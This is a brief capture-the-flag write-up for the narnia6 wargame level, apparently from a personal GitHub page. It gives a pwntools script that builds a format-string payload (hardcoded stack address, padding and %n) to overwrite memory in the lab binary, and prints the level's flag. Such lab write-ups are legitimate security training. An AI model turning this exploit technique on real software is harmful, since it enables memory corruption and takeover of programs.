← Back
narnia6 | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

here we use basic format string attack, only change the address of the stack. here can be found our code: [level6.py]

from pwn import *

# print = lambda *args, **kwargs: None # override print function

payload = b'JUNK'
payload += p32(0xffffd340)
payload += b'%492x'
payload += b'%n'

sys.stdout.buffer.write(payload)

alt text

Flag: BNSjoSDeGL